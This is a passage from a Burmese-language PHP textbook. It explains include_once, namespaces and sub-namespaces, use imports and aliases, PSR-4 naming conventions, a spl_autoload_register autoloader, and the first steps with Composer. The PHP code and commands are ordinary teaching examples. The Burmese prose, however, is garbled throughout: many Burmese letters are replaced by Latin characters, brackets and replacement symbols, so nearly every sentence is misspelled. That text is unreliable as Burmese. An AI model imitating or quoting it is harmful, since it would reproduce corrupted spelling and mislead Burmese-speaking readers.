PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၁၀) – Modules & Namespaces 147

ပေပးသွားပါလိမ့်မယ်။  ပေနာက်တစ်ကြကိမ်  include_once နဲ့  ထပ်မံထည့်သွင်းတဲ့အ]ါ  အ့ဲဒီKုိင်ကို  တစ်
ကြကိမ်  ထည့်သွင်းKူးပြပီးဖြKစ်လို့  include_once က ထပ်မံထည့်သွင်းပေတာ့မှာ မဟုတ်ပါဘူး။ ဒီပေရးနည်း
က  Condition  ပေတွစစ်ပြပီး  အပေဖြ]အပေနပေပါ်မူတည်ပြပီး  Kုိင်ပေတွကို  Include  လုပ်ရတဲ့အ]ါ  အသံုးဝင်နိုင်ပါ
တယ်။

အလားတူပဲ  require_once Statement  လည်းရှိပါပေသးတယ်။  Statement  ကွဲသွားပေပမယ့် သပေဘာ
သဘာဝက include_once နဲ့ အတူတူပဲဖြKစ်ပါတယ်။

Namespaces
ဒီလိုကုဒ်Kုိင်ပေတွကို  ရယူအသံုးဖြပုတဲ့အ]ါ ကြကုံရနိုင်တဲ့  ဖြပဿနာတစ်]ုရှိပါတယ်။ ဥပမာ  -  Math.php နဲ့
Calculator.php ဆိုပြပီး Kုိင်နှစ်]ုရှိတယ် ဆိုကြကပါစို့။

// Math.php

define('PI', 3.14);

function add($a, $b) {
    return $a + $b;
}

// Calculator.php

function double($n) {
    return $n * 2;
}

function add($nums) {
    return array_sum($nums);
}

ဒီKိုင်နှစ်]ုကို အသံုးဖြပုလုိတဲ့အတွက် အ]ုလုိ ]ျတိ်ဆက်ရယူလိုက်မယ်ဆိုရင် အဆင်မပေဖြပပေတာ့ပါဘူး။
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// App.php

include('Math.php');
include('Calculator.php');

ဘာဖြKစ်လို့လဲဆိုပေတာ့  Math.php မှာ  add() Function  ရိှပေနသလုိ၊  Calculator.php မှာလည်း
add() Function ရှိပေနပါတယ်။ PHP   မှာ   Function Name   တူရင်လက်မ]ံပါဘူး  ။ ဒါပေကြကာင့် ဒီKုိင်နှစ်]ုမှာ
Function Name ပေတွတိုက်ပေနတဲ့အတွက် Cannot redeclare Error တက်ပြပီး အဆင်မပေဖြပပေတာ့ပါဘူး။

ဒီလိုဖြပဿနာမျ ို း မဖြKစ်ရပေအာင်  Namespace နဲ့ပေဖြKရှင်းလ့ုိရပါတယ်။ ကုဒ်ပေတွပေရးတဲ့အ]ါ ဒီအတိုင်းမပေရး
ဘဲ၊ သ့ူ Namespace နဲ့သူ ပေရးပေပးလုိက်မယ်ဆိုရင်ပေတာ့ ဒီဖြပဿနာ မတက်ပေတာ့ပါဘူး။

// Math.php

namespace Math;

define('PI', 3.14);

function add($a, $b) {
    return $a + $b;
}

// Calculator.php

namespace Calculator;

function double($n) {
    return $n * 2;
}

function add($nums) {
    return array_sum($nums);
}

ဒါဆိုရင်ပေတာ့  အဆင်ပေဖြပသွားပါပြပီ။  သက်ဆိုင်ရာ  ကုဒ်Kုိင်မှာ  Namespace  ပေလးပေတွ  ပေကြကညာပေပးလုိက်
တာပါ။  Namespace  အမည်ကို  မိမိနှစ်သက်ရာအမည်  ပေပးနိုင်ပါတယ်။  အ]ုဆိုရင်  Math.php ထဲက
add() ဟာ ရိုးရိုး  add() မဟုတ်ပေတာ့ပါဘူး။  Math Namespace ပေအာက်မှာရှိတဲ့  add() ဖြKစ်သွားပါ
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ပြပီ။ အလားတူပဲ Calculator.php ထဲက add() ဟာလည်း Calculator Namespace ပေအာက်မှာရှိ
တဲ့  add() ဖြKစ်သွားလို့  Function အမည်တူပေနပေပမယ့် Namespace မတူတဲ့အတွက်ပေကြကာင့် အဆင်ပေဖြပ
သွားမှာပဲ ဖြKစ်ပါတယ်။

ဒီလို  သ့ူ  Namespace  နဲ့သူ  ပေရးသားထားတဲ့  ကုဒ်ပေတွကို  အသံုး]ျလုိရင်  သက်ဆိုင်ရာ  Namespace
တည်ပေနရာ မှန်ပေအာင်ပေပးပြပီးပေတာ့ သံုးရပါတယ်။ ဒီလုိပါ –

// App.php

include('Math.php');
include('Calculator.php');

echo Math\add(1, 2);                // 3
echo Calculator\add([ 2, 3, 4 ]);   // 9

နမူနာမှာ Math.php နဲ့  Calculator.php နှစ်]ုလံုးကို  Include လုပ်ထားပါတယ်။ ပြပီးတဲ့အ]ါ သက်ဆိုင်ရာ
Namespace  တည်ပေနရာအတိအကျပေပးပြပီးပေတာ့  add() Function  ပေတွကိုပေ]ါ်ယူအသံုးဖြပုထားတာ
ပေတွ့ဖြမင်ရမှာပဲ  ဖြKစ်ပါတယ်။  နမူနာမှာ  ပေတွ့ ရတဲ့အတိုင်း  Namespace  တည်ပေနရာပေရးသားK့ုိအတွက်  \
သပေက�တကို အသံုးဖြပုပေရးသားပေပးရပါတယ်။

ဒီလိုလည်း ဖြKစ်နိုင်ပါပေသးတယ်။

// App.php

namespace Math;

include('Math.php');
include('Calculator.php');

echo add(1, 2);                      // 3
echo \Calculator\add([ 2, 3, 4 ]);   // 9

ဒီတစ်]ါ  App.php  မှာလည်း  Namespace  ရှိသွားတာပါ။  သူရဲ့  Namespace  ကလည်း  Math  ဖြKစ်တဲ့
အတွက် တစ်ဖြ]ားKုိင်ထဲမှာရှိပေနတဲ့  Math Namespace ပေအာက်က add() Function ကို တိုက်ရိုက် ပေ]ါ်
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ယူ  အသံုးဖြပုနိုင်တာကို  ပေတွ့ ရမှာပဲ  ဖြKစ်ပါတယ်။  Namespace  တူပေနတဲ့အတွက်ပေကြကာင့်ပါ။  ဒါပေပမယ့်
Calculator Namespace  ပေအာက်က  add() ကိုပေတာ့  Calculator\add() လ့ုိပေ]ါ်လ့ုိ မရပေတာ့ပါ
ဘူး။ ဒါဆိုရင် တစ်ကယ်ပေ]ါ်ယူသွားမှာက Math\Calculator\add() ကို ပေ]ါ်ယူသွားမှာဖြKစ်လို့ မရှိ
တဲ့အတွက်  Error  တက်ပါလိမ့်မယ်။ သူကိုယ်တိုင်က  Math Namespace  ပေအာက်မှာရှိပေနလ့ုိ ဆက်လက်
ပေ]ါ်ယူအသံုးဖြပုမှု အားလံုးက Math Namespace ပေအာက်မှာပဲ ဖြKစ်ပေနမှာမ့ုိလုိပါ။

ဒါပေကြကာင့် Calculator Namespace ပေအာက်က် add() ကို ပေ]ါ်ယူလုိတဲ့အ]ါ \Calculator\add()
ဆိုပြပီးပေတာ့ ပေရှ့ဆုံးမှာလည်း \ သပေက�တတစ်]ု ပါဝင်သွားတာကို သတိဖြပုရမှာပဲ ဖြKစ်ပါတယ်။ အ့ဲဒီပေရှ့ဆုံး
က  \  Global  Namespace    သ့ုိမဟုတ်    Root  Namespace   လ့ုိဆိုနိုင်ပါတယ်။  ဒါပေကြကာင့်  ပေ]ါ်ယူတဲ့အ]ါ
Math  Namespace  ပေအာက်ကပေန  ပေ]ါ်ယူK့ုိ  မကြကိုးစားပေတာ့ဘဲ  Global  Namespace  ပေအာက်က
Calculator Namespace ဖြKစ်သွားတဲ့အတွက် အဆင်ပေဖြပသွားပါပြပီ။

Namespace ပေတွမှာ Sub-Namespace လည်းရှိလို့ရပါပေသးတယ်။ ဒီလုိပါ –

// Math.php

namespace Math\Basic;

define('PI', 3.14);

function add($a, $b) {
    return $a + $b;
}

ဒါဆိုရင်  Math.php  Kုိင်ထဲက  ကုဒ်ပေတွက  Math  Namespace  ပေအာက်က  Basic  Sub-Namespace
ပေအာက်ကကုဒ်ပေတွ ဖြKစ်သွားပါပြပီ။ ဒီလိုမျ ို း Sub-Namespace ပေတွကို လုိအပ်သလုိ အဆင့်ဆင့် ပေပးလ့ုိ ရ
နိုင်ပါတယ်။  ဥပမာ  Library\Helper\Math\Basic လုိမျ ို းပါ။  ပေ]ါ်ယူအသံုးဖြပု]ျနိ်မှာ  သတ်မှတ်
Sub-Namespace အဆင့်ဆင့်မှန်ပေအာင်ပေပးပြပီးပေ]ါ်ရင် ရပါပြပီ။ ဒီလုိပါ –
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// App.php

namespace Math;

include('Math.php');

echo Basic\add(1, 2);                      // 3

နမူနာမှာ  App.php  က  Math Namespace  ပေအာက်မှာပဲ  ဆက်ရှိပေနပါပေသးတယ်။ ဒါပေကြကာင့်  Basic\
add() လ့ုိပေ]ါ်လုိက်တဲ့အ]ါ အဖြပည့်အစုံက Math\Basic\add() ဖြKစ်သွားမှာပါ။

ဒီပေလာက်ဆိုရင်  Namespace  ကို  လက်ပေတွ့စတင်အသံုးဖြပုလ့ုိ  ရနိုင်ပြပီဖြKစ်ပါတယ်။  ကုဒ်Kုိင်တစ်]ုထဲ
Namespace  နှစ်]ုသုံး]ု  ထည့်ပေရးလ့ုိရတဲ့  ပေရးနည်းပေတွ  ရိှပေသးပေပမယ့်  အသံုးမဖြပုသင့်တဲ့  ပေရးနည်းလုိ့
သတ်မှတ်ထားကြကလုိ့ ထည့်မပေဖြပာပေတာ့ပါဘူး။

Namespace Import
သက်ဆိုင်ရာ  Namespace  ပေအာက်ကလုပ်ပေဆာင်]ျက်ပေတွကို  ရယူအသံုးဖြပုလုိတိုင်း  Namespace
တည်ပေနရာကို ပေဖြပာပြပီး သံုးပေနစရာမလုိပေအာင် use Statement နဲ့ Import လုပ်ထားလုိက်လို့လည်း ရနိုင်
ပါတယ်။ ဥပမာ – အ]ုလုိ ပေရးထားတယ် ဆိုကြကပါစို့။

// Calculator.php

namespace Library\Helper\Math\Basic;

class Calculator
{
    public function add($nums) {
        return array_sum($nums);
    }
}

ဒီ ကုဒ်ကိုအသုံးဖြပုလုိတဲ့အ]ါ သံုးရမယ့်ပံုစံက ဒီလုိဖြKစ်နိုင်ပါတယ်။
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// App.php

include('Calculator.php');

$calc1 = new Library\Helper\Math\Basic\Calculator;
$calc2 = new Library\Helper\Math\Basic\Calculator;

တစ်]ါသုံး]ျင်တိုင်းမှာ သ့ူ Namespace အတိုင်း အကုန်ထပ်]ါထပ်]ါပေရးပေပးပြပီး သံုးပေနရတာ အဆင်မပေဖြပ
ပါဘူး။ အဆင်ပေဖြပသွားပေအာင် ဒီလုိ ပေရးလုိက်လ့ုိ ရနိုင်ပါတယ်။

// App.php

include('Calculator.php');

use Library\Helper\Math\Basic\Calculator;

$calc1 = new Calculator;
$calc2 = new Calculator;

use Statement နဲ့ Calculator Class ကို Namespace အဖြပည့်အစုံနဲ့ တစ်ကြကိမ် Import  လုပ်ထားလုိက်
တဲ့အ]ါ  ပေနာက်ပုိင်းမှာ  Calculator  ဆိုတဲ့  Class  အမည်နဲ့တင်  ဆက်လက်အသံုးဖြပုလ့ုိ  ရသွားပါပြပီ။  ဒီ
Import လုပ်တဲ့အ]ါ Alias လုပ်ပြပီး အမည်ပေဖြပာင်း]ျင်ရင်လည်း ပေဖြပာင်းထားလ့ုိ ရနိုင်ပါပေသးတယ်။

// App.php

include('Calculator.php');

use Library\Helper\Math\Basic\Calculator as Math;

$calc1 = new Math;
$calc2 = new Math;

Calculator Class  ကို  Import  လုပ်ပြပီး  Math  လ့ုိ  Alias  လုပ်ပေပးလုိက်တာပါ။ ဒါပေကြကာင့် ပေနာက်ပိုင်းမှာ
Math ဆိုတဲ့အမည်နဲ့ ဆက်သံုးလ့ုိ ရသွားပြပီဖြKစ်ပါတယ်။
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PSR-4
PHP  မှာ  PHP Standard Recommendation  လ့ုိပေ]ါ်တဲ့  အများလုိက်နာ အသံုးဖြပုသင့်ပေသာ သတ်မှတ်
]ျက်များ  ရှိပါတယ်။  အ့ဲဒီသတ်မှတ်]ျက်ပေတွထဲက  Namespace  နဲ့ပက်သက်ရင်  အပေရးကြကီးတာကပေတာ့
PSR-4  လ့ုိပေ]ါ်တဲ့  Class Autoloader  သတ်မှတ်]ျက်ပဲ  ဖြKစ်ပါတယ်။  Class  Autoloader  အပေကြကာင်းကို
]ဏပေနပေတာ့ ဆက်လက်ပေKာ်ဖြပပါမယ်။  Class  ပေတွ  Namespace  ပေတွကို  အမည်ပေပးတဲ့အ]ါ ပေပးသင့်တဲ့
နည်းလမ်းပေတွကို သတ်မှတ်ပေပးထားတာပါ။

- https://www.php-fig.org/psr/psr-4

Namespace  ပေတွပေပးတဲ့အ]ါ  ကြကိုက်တဲ့အမည်  ပေပးလို့ရပါတယ်။  ကြကိုက်သပေလာက်  Sub-Namespace
ပေတွ သံုးလို့ရပါတယ်။ အ့ဲဒီလို  ကိုယ်ပေပး]ျင်သလုိ ပေပးလ့ုိရတယ်ဆိုတိုင်းသာ ပေပးကြကမယ်ဆိုရင် နားလည်
အသုံးဖြပုရ ]က်ကုန်ပါလိမ့်မယ်။ ဒါပေကြကာင့် PSR-4 သတ်မှတ်]ျက် အပါအဝင် လုိက်နာသင့်တဲ့ အမည်ပေပးပုံ
ပေလးပေတွက ဒီလုိပါ –

၁။  Class  အမည်ပေတွ၊  Namespace  ပေတွ ပေပးတဲ့အ]ါ  Capital Case    ကို  အသံုးဖြပုသင့်ပါတယ်  ။  Capital
Case  ဆိုတာ ဒီလိုမျ ို းပါ။  Math, CarFactory, UserViewManager စသည်ဖြKင့် ပေရှ့ဆုံးစာလံုး
အပါအဝင် Word တစ်]ုစတိုင်း စာလံုးအကြကီးနဲ့ စပေပးရတဲ့ ပေရးဟန်ဖြKစ်ပါတယ်။ Space ပေတွ ထည့်မပေပးရ
ပါဘူး။ Interface ပေတွ Traits ပေတွကိုလည် ဒီအမည်ပေပးနည်းအတိုင်းပဲ ပေပးရပါတယ်။

၂။ ကုဒ်Kုိင်ရဲ့အမည်နဲ့ အ့ဲဒီကုဒ်Kိုင်ထဲမှာရှိပေနတဲ့ အဓိက Class   ရဲ့အမည်   တူသင့်ပါတယ်။ ဥပမာ - အဓိက
Class  အမည်က  CarFactory ဆိရုင်  Kုိင်ရဲ့အမည်က  CarFactory.php ဖြKစ်သင့်ပါတယ်။ စာလံုး
အကြကီး အပေသးကအစ အတူတူပဲ ဖြKစ်သင့်ပါတယ်။

၃။  Namespace    လမ်းပေကြကာင်းနဲ့  Kုိဒါလမ်းပေကြကာင်း   တူသင့်ပါတယ်။  ဥပမာ  -  Namesapce  နဲ့  Class
အမည်အဖြပည့်အစုံက  Library\Helper\Calculator ဆိုရင်  Calculator  Class  ရိှပေနတဲ့
Calculator.php Kုိင်ဟာ  Library  Kုိဒါထဲက  Helper  Kုိဒါထဲမှာ ရှိသင့်ပါတယ်။ ဒါပေကြကာင့် Kုိင်  Path
လမ်းပေကြကာင်းကလည်း Namespace နဲ့အတတူူ Library\Helper\Calculator.php ဖြKစ်သင့်ပါ
တယ်။ ဒီပေတာ့ Namespace ကို ကြကည့်လုိက်ယုံနဲ့ Kုိင်ရဲ့တည်ပေနရာကိုပါ သိရှိနိုင်သွားပါပြပီ။

https://www.php-fig.org/psr/psr-4/
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ဒါဟာလက်ပေတွ့ကုဒ်ပေတွ ပေရးသားတဲ့အ]ါ ရှင်းလင်းနားလည်ရလွယ်တဲ့  ကုဒ်ပေတွဖြKစ်ပေစK့ုိအတွက် အပေရး
ပါတဲ့ သတ်မှတ်]ျက်များပဲ ဖြKစ်ပါတယ်။

Class Autoload
PHP မှာ အလွန်အသံုးဝင်တဲ့  Class Autoload  လ့ုိပေ]ါ်တဲ့ လုပ်ပေဆာင်]ျက်တစ်မျ ို း ရိှပါတယ်။ ပံုမှန်ဆိုရင်
ကုဒ်ပေတွကို ဒီလုိပေရးပေပးရပါတယ်။

// Library/Helper/Calculator.php

namespace Library\Helper;

class Calculator
{
    public function add($nums) {
        return array_sum($nums);
    }
}

ဒါက PSR-4 သတ်မှတ်]ျက်နဲ့အညီ Library Kုိဒါထဲက Helper Kုိဒါထဲက Calculator.php မှာ ပေရးထားတဲ့
ကုဒ်ဖြKစ်ပါတယ်။  Class  အမည်ကို  Kုိင်အမည်နဲ့  တူပေအာင်ပေပးထားပြပီး  Namespace  ကို  Kုိဒါ  Path
လမ်းပေကြကာင်းအတိုင်း ပေပးထားပါတယ်။ ဒီ Class ကို အသံုးဖြပုလုိတဲ့အ]ါ အ]ုလုိ သံုးရမှာပါ –

// App.php

include('Library/Helper/Calculator.php');

use Library\Helper\Calculator;

$calc = new Calculator;
echo $calc->add([1, 2]); // 3

include Statement  နဲ့ Kုိင်ကိုအရင်  Include  လုပ်ပြပီး၊  use Statement  နဲ့  Namespace  ကို  Import
လုပ်ထားပါတယ်။ အလုပ်ပေတာ့လုပ်ပါတယ်။ ဒါပေပမယ့်  include လည်းလုပ်ရတယ်၊  use လည်းလုပ်ရ
တယ်ဆိုပေတာ့ ပံုစံတူ နှစ်]ါပေရးရသလုိ ဖြKစ်ပေနပါတယ်။
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Class Autoload ဆိုတာကပေတာ့ Class တစ်]ုကို သံုးလုိက်တာနဲ့ အလုိအပေလ�ာက် include လုပ်ပေပးပေစ
နိုင်တဲ့ နည်းလမ်းဖြKစ်ပါတယ်။ include တစ်]ါလုပ်၊ သံုးK့ုိအတွက်  use တစ်]ါလုပ်ပေနစရာမလုိပေတာ့ပါ
ဘူး။ ဒီသပေဘာသဘာဝ ရရိှK့ုိအတွက် အ]ုလုိပေရးနိုင်ပါတယ်။

// autoload.php

spl_autoload_register(function($class) {

$class = str_replace("\\", "/", $class);

include($class . ".php");

});

spl_autoload_register() ဆိုတဲ့ Standard Function ကို Argument အပေနနဲ့ Function တစ်]ု
ပေပးရပါတယ်။ အ့ဲဒီ Function က Class တစ်]ုကို အသံုးဖြပုလုိက်တိုင်းမှာ အလုိအပေလ�ာက် အလုပ်လုပ်မှာ
ပါ။  $class Variable  ထဲမှာ  အလုပ်လုပ်သွားတဲ့  Class  ရဲ့  Namespace  အဖြပည့်အစုံရှိပါတယ်။
Namespace  မှာ  \  သပေက�တကိုသံုးပြပီး  Include  မှာ  /  သပေက�တကို  သံုးတဲ့အတွက်  str_replace()
Function  ကိုသုံးပြပီး  Namespace မှာပါတဲ့  \  သပေက�တပေတွကို  /  သပေက�တနဲ့ အစားထုိးထားပါတယ်။ ပြပီး
တဲ့အ]ါ  Include  လုပ်ပေပးလိုက်လ့ုိ  Class  ကို  သံုးလုိက်တာနဲ့  Class  Kုိင်ကို  Include  လုပ်ပေပးတဲ့
လုပ်ပေဆာင်]ျက်ကို ရရိှသွားမှာပဲ ဖြKစ်ပါတယ်။

ဒါပေကြကာင့် အသံုးဖြပုလိုတဲ့အ]ါ ဒီလုိပေရးပေပးလုိက်ရင် ရပါပြပီ။

// App.php

include('autoload.php');

use Library\Helper\Calculator;

$calc = new Calculator;
echo $calc->add([1, 2]); // 3 
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autoload.php ကို Include လုပ်ထားပေပမယ့် Library/Helper/Calculator.php ကိုပေတာ့
Include လုပ်စရာမလုိပေတာ့ပါဘူး။  use နဲ့  Library\Helper\Calculator လ့ုိ ပေဖြပာလုိက်]ျနိ်မှာ
အလုိအပေလ�ာက် Include လုပ်ပေပးသွားတဲ့အတွက် ဖြKစ်ပါတယ်။

အ]ုလည်း  autoload.php ကို  Include  လုပ်ရတာပဲ  မဟုတ်ဘူးလား။  ဘာထူးလ့ုိလဲ။  ထူးပါတယ်။
autoload.php တစ်]ုထဲကိုသာ Include လုပ်ပေပးရတာပါ။  ပေနာက်ထပ်   Class    ပေတွသံုး]ျင်သပေလာက်  
သံုး    Include    ထပ်လုပ်ပေပးစရာ မလုိအပ်ပေတာ့ပါဘူး  ။ ပေပးထားတဲ့  Namespace  နဲ့  Class  ကသာ  PSR-4
သတ်မှတ်]ျက်များနဲ့  ကိုက်ညီK့ုိပဲလုိပါပေတာ့တယ်။ ဒါဟာ ဆန်းကျယ်ပြပီး  အသံုးဝင်တဲ့  လုပ်ပေဆာင်]ျက်ပဲ
ဖြKစ်ပါတယ်။

ဒီလို  Class Autoload  ကုဒ်ကို  ကိုယ်တိုင်ပေရးသားလို့ရသလုိ၊  Composer  လ့ုိပေ]ါ်တဲ့  နည်းပညာကပေပးတဲ့
Autoload  လုပ်ပေဆာင်]ျက်ကိုလည်း  အသံုးဖြပုနိုင်ပါပေသးတယ်။  ဒီအပေကြကာင်းကို  ပေနာကတ်စ်]န်းမှာ
ဆက်လက်ပေKာ်ဖြပပေပးပါမယ်။
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အခန်း (၁၁) – Composer

Composer  ဟာ  PHP  ပပေရာဂျက်ပေတွမှာ  မဖြKစ်မပေနလုိအပ်တဲ့  အပေရးပါတဲ့  နည်းပညာဖြKစ်ပါတယ်။
Composer ကိုအသံုးဖြပုပြပီး PHP Package ပေတွ တည်ပေဆာက်လ့ုိရပါတယ်။ အ့ဲဒီ Package ပေတွကို အများ
ရယူ အသံုးဖြပုလ့ုိရပေအာင် ပေပးနိုင်ပါတယ်။ အKဲွ့အစည်းအသီးသီးနဲ့  ကမ္ဘာအနှံ့အဖြပားက  Developer  ပေတွ
ပေရးသားပေပးထားတဲ့  Package    ပေတွကို  ကိုယ့်ပပေရာဂျက်မှာ ထည့်သံုးK့ုိ ရယူပေပးနိုင်ပါတယ်  ။ ရယူထားတဲ့
Package မှာ Update ပေတွရှိလာရင် Upgrade လုပ်ပေပးနိုင်ပါတယ်။ ဒီလုိမျ ို း PHP Package တည်ပေဆာက်
ဖြ]င်း၊ ဖြKန့်ပေဝဖြ]င်း၊ ရယူဖြ]င်းတို့ကို ပေဆာင်ရွက်ပေပးနိုင်လုိ့ Package Manager လ့ုိ ပေ]ါ်နိုင်ပါတယ်။ 

တစ်ဖြ]ား  Programming  Language  ပေတွမှာလည်း  အလားတူ  Package  Manager  နည်းပညာပေတွ
အသီးသီးရှိကြကပါတယ်။ ဥပမာ –  JavaScript  အတွက်  NPM  လ့ုိပေ]ါ်တဲ့  Package Manager  နည်းပညာ
ရှိပေနတာပါ။  ဒါပေပမယ့်  Composer  ကိုယ်တိုင်ကပေတာ့  သ့ူကိုယ်သူ  Dependency  Manager  လ့ုိ  ပေ]ါ်ပါ
တယ်။  ကိုယ့်ပပေရာဂျက်က မီှ]ိုအားထားပေနရတဲ့  Package   Dependency  ပေတွကို  စီမံပေပးနိုင်တဲ့  နည်း
ပညာဆိုတဲ့ အဓိပ္ပါယ်ပါ။ အပေ]ါ်အပေဝါ်အနည်းငယ် ကွဲဖြပားပေပမယ့် သပေဘာသဘာဝကပေတာ့ အတူတူပါပဲ။

Composer  Install  ဖြပုလုပ်ပံုဖြပုလုပ်နည်းကို  PHP  Development  Environment  တည်ပေဆာက်ပံု
တည်ပေဆာက်နည်း နမူနာဖြပထားတဲ့ ဗီွဒီယုိသင်]န်းစာထဲမှာ ထည့်သွင်းပေKာ်ဖြပ]ဲ့ပြပီး ဖြKစ်ပါတယ်။ အကယ်၍
Install မလုပ်ရပေသးလုိ့ လုိအပ်တယ်ဆိုရင် ဒီပေနရာမှာပေလ့လာပြပီး Install လုပ်နိုင်ပါတယ်။

- https://getcomposer.org/doc/00-intro.md

https://getcomposer.org/doc/00-intro.md
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Composer  ဟာ  Command  Line  နည်းပညာတစ်]ုဖြKစ်ပါတယ်။  Install  လုပ်ပြပီးပြပီဆိုရင်  Command
Prompt  ကိုKွင့်ပြပီး  စတင်အသုံးဖြပုလ့ုိရပါပြပီ။  နမူနာ  စမ်းသပ်ကြကည့်နိုင်K့ုိ  အတွက်  Kုိဒါအလွတ်တစ်]ု
htdocs ပေအာက်မှာ တည်ပေဆာက်ပြပီး အ့ဲဒီKုိဒါထဲမှာ Command Prompt ကိုKွင့်လုိက်ပါ။

ပထမဆုံး ပေလ့လာရမယ့် Command ကပေတာ့ composer init ဖြKစ်ပါတယ်။ ဒီ Command ကို Run
လုိက်ရင် Composer က ပေမး]ွန်းတစ်]ျ ို ့ပေမးပါလိမ့်မယ်။ 

composer init

ပထမဆုံးပေမး]ွန်းက Package Name ဖြKစ်ပါတယ်။ မိမိနှစ်သက်ရာအမည်ကို ပေပးနိုင်ပါတယ်။ အမည်ပေပး
တဲ့အ]ါ  vendor/name ဆိုတဲ့  Format  မျ ို းနဲ့  ပေပးရပါတယ်။  vendor ပေနရာမှာ အKဲွ့အစည်းအမည်နဲ့
name ပေနရာမှာ ပပေရာဂျက်ရဲ့အမည်ကို ပေပးရမှာပါ။ ဥပမာ  -  fairway/app ဆိုရင်  vendor အမည်
fairway ဖြKစ်ပြပီး  ပပေရာဂျက်အမည်  app ဆိုတဲ့အဓိပ္ပါယ်ပါ။ အမည်မပေပးရင် သ့ူဘာသာ Kုိဒါအမည်ကို
ကြကည့်ပြပီး Default အမည်တစ်]ုကို ပေပးသွားမှာဖြKစ်ပါတယ်။

နှစ်သက်ရာအမည်ပေပးပြပီး  Enter  နှိပ်လုိက်ရင်  ပပေရာဂျက်  Description  လာပေတာင်းပါလိမ့်မယ်။  ဘာမှမ
ပေပးပေတာ့ဘဲ  Enter  သာနှိပ်လုိက်ပါ။ ပြပီးတဲ့အ]ါ  Author  အမည်ပေမးပါလိမ့်မယ်။ ကိုယ့်နာမည်ကိုယ် ထည့်
ပြပီး  Enter နှိပ်ပေပးလုိက်လ့ုိရပါတယ်။ ကျန်ပေမး]ွန်းပေတွဖြKစ်တဲ့  Minimal Stability တို့  Package Type တို့
License တို့ကို ဘာမှဖြKည့်မပေနဘဲ အလွတ်အတိုင်းသာ Enter နှိပ်ပေပးလုိက်ပါ။ လုိအပ်ရင် ပေနာက်မှပေပးလို့ရ
ပါတယ်။

Dependency ပေတွထည့်မလားလ့ုိ ပေမးလာရင်လည်း no လ့ုိပဲ ပေဖြပာလုိက်ပါ။ ပေနာက်မှပဲ ထည့်ပါပေတာ့မယ်။
သူကို  မထည့်]ိုင်းပေတာ့ပါဘူး။  Dev  Dependency  ပေတွထည့်မလား  ထပ်ပေမးရင်လည်း  no လ့ုိပဲ  ပေဖြပာ
လုိက်ပါ။ ပေနာက်ဆုံးမှာ  Confirm  လုပ်]ိုင်းတဲ့အ]ါ  yes လ့ုိပေဖြပာလိုက်ရင် ပြပီးသွားပါပြပီ။  ကိုယ့်  ပေရွး]ျယ်မှု
ပေပါ် မူတည်ပြပီး အ]ုလုိ  Content  မျ ို း ပါဝင်တဲ့  package.json အမည်နဲ့ Kုိင်တစ်]ုကို  Composer  က
တည်ပေဆာက်ပေပးသွားတာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၁၁) – Composer 159

 JSON – composer.json 

{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {}
}

ကိုယ့်ပပေရာဂျက်Kုိဒါထဲမှာ  composer.json Kုိင်ရှိသွားပြပီဆိုတာနဲ့  အ့ဲဒီKုိဒါဟာ  Composer  Package
တစ်]ု  ဖြKစ်သွားပါပြပီ။  Download  ရယူထည့်သွင်းလိုတဲ့  Package  ပေတွကိုစတင်ထည့်သွင်း အသံုးဖြပုလို့  ရ
သွားပါပြပီ။ Package စာရင်းကို ကြကည့်]ျင်ရင် ဒီလိပ်စာမှာ ကြကည့်လ့ုိရပါတယ်။

- https://packagist.org

နမူနာစမ်းသပ်နိုင်K့ုိအတွက် အ]ုလုိ Package တစ်]ုကို ထည့်သွင်းကြကည့်နိုင်ပါတယ်။

composer require nesbot/carbon

ဒါဟာ nesbot ဆိုသူ Developer တစ်ဦးပေရးသားပေပးထားတဲ့  carbon လ့ုိပေ]ါ်တဲ့ ရက်စွဲအ]ျနိ်ပေတွ စီမံ
ပေပးနိုင်တဲ့  PHP Package  တစ်]ုကို  Download  ရယူထည့်သွင်းလိုက်တာပါ။  Download ပြပီးသွားတဲ့အ]ါ
ထူးဖြ]ား]ျက် နှစ်]ျက်ကို သတိဖြပုရပါမယ်။

Composer  က  Download    ရယူထားတဲ့    Package    ပေတွကို    vendor     လ့ုိပေ]ါ်တဲ့  Kုိဒါထဲမှာ   သိမ်းပေပးပါ
တယ်။ ဒါပေကြကာင့် ကိုယ့်ပပေရာဂျက်Kုိဒါထဲမှာ vendor အမည်နဲ့ Kုိဒါတစ်]ု ရှိသွားမှာဖြKစ်ပြပီး Kွင့်ကြကည့်လုိက်
ရင်  Composer  က  Download  ရယူထည့်သွင်းပေပးထားတဲ့  Package  ပေတွကို  ပေတွ့ဖြမင်ရမှာဖြKစ်ပါတယ်။
Composer  က  ကိုယ်လုိ]ျင်တဲ့    Package    အဖြပင်  အ့ဲဒီ    Package    အလုပ်လုပ်K့ုိ  လုိအပ်တဲ့  ဆက်စပ်  
Package    ပေတွကိုပါ   ပူးတွဲ  Download  ယူပေပးတာမ့ုိလ့ုိ  vendor ထဲမှာ တစ်]ုထက်ပုိတဲ့  Package  ပေတွ
ပေရာကရ်ှိပေနတာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။ ဒါ ထူးဖြ]ား]ျက်ပါ။

https://packagist.org/
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ပေနာက်ထပ် ထူးဖြ]ား]ျက်အပေနနဲ့ composer.json Kုိင်ကိုKွင့်ကြကည့်လုိက်ရင် အ]ုလိုပေတွ့ရပါလိမ့်မယ်။

 JSON – composer.json 

{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {
        "nesbot/carbon": "^2.43"
    }
}

require Section  မှာ ထည့်သွင်းလိုက်တဲ့  nesbot/carbon ပါဝင်သွားတာကို  ပေတွ့ ဖြမင်ရမှာ ဖြKစ်ပါ
တယ်။ ပေနာက်က ^2.43 ဆိုတာ Package ရဲ့ Version နံပါတ်ပါ။

Package  ပေတရွယူပုံပေနာက်တစ်နည်းကပေတာ့  composer  install Command  ဖြKစ်ပါတယ်။
composer install က  composer.json Kုိင်ရဲ့  require Section  ကိုကြကည့်ပြပီး  အ့ဲဒီစာရင်း
အတိုင်း  Package  ပေတွကို  တစ်]ုပြပီးတစ်]ု  Download  ရယူပေပးမှာ  ဖြKစ်ပါတယ်။ ဒါပေကြကာင့်  ကိုယ်ပပေရာ
